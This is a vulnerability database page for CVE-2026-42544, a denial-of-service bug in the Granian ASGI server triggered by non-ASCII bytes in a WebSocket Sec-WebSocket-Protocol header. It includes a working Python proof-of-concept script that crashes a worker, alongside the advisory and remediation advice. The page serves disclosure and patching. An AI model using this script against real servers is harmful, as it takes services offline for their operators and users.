Skip to main content

Granian CVE-2026-42544

HIGH
Improper Input Validation (CWE-20)
2026-05-06 https://github.com/emmett-framework/granian GHSA-vrg7-482j-p6f6
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 06, 2026 - 22:00 vuln.today
Analysis Generated
May 06, 2026 - 22:00 vuln.today
CVE Published
May 06, 2026 - 21:20 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

python
# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

python
# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
bash
python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue

AnalysisAI

Granian ASGI server suffers remote denial of service when unauthenticated attackers send malformed WebSocket upgrade requests containing non-ASCII bytes in the Sec-WebSocket-Protocol header, causing worker process termination. Each crafted request kills one worker process; sequential requests across all workers achieve complete service outage. The vulnerability exists in Granian's pre-application WebSocket scope construction (src/asgi/utils.rs), making application-layer defenses ineffective. Publicly available exploit code exists with complete proof-of-concept demonstrating the attack. Vendor-released patch 2.7.4 addresses the issue for affected versions 1.2.0 through 2.7.3.

Technical ContextAI

Granian is a Rust-based HTTP/WebSocket server for Python ASGI applications, competing with Uvicorn and Hypercorn in the async Python ecosystem. The vulnerability stems from improper input validation (CWE-20) in the Rust layer's WebSocket handshake processing. Specifically, the code attempts to convert HTTP header values to UTF-8 strings using HeaderValue::to_str(), which returns an error for bytes outside visible ASCII range. The subsequent .unwrap() call panics on this error, and because Granian's release builds configure panic = abort in Cargo.toml, the panic terminates the entire worker process rather than being caught as a recoverable error. This occurs during ASGI scope construction before request dispatch to the Python application layer, bypassing any application-level validation, authentication, or rate limiting. The affected package identifier is pkg:pip/granian, confirming distribution via Python Package Index.

RemediationAI

Upgrade to Granian version 2.7.4 or later, which implements proper error handling for malformed WebSocket headers without process termination. Execute pip install --upgrade granian==2.7.4 or update requirements.txt/pyproject.toml dependency specifications. For environments unable to upgrade immediately, implement compensating controls at the network perimeter: deploy a reverse proxy (nginx, Caddy, HAProxy) configured to validate WebSocket upgrade requests before forwarding to Granian, specifically rejecting Sec-WebSocket-Protocol headers containing non-ASCII bytes. Example nginx config: add lua-resty-http module to inspect and sanitize WebSocket headers in access phase. Trade-off: adds latency and operational complexity. Alternative mitigation is process-level supervision with automatic restart (systemd Restart=always, Docker restart policies, Kubernetes liveness probes) to restore crashed workers, though this only limits impact duration rather than preventing exploitation. Trade-off: service disruption still occurs during restart cycles, and rapid sequential attacks can overwhelm restart rate limits. Network-level rate limiting by source IP provides partial defense against distributed attacks but not single-source sequential worker targeting. Vendor advisory and patch details: https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6 and https://github.com/advisories/GHSA-vrg7-482j-p6f6.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-42544 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy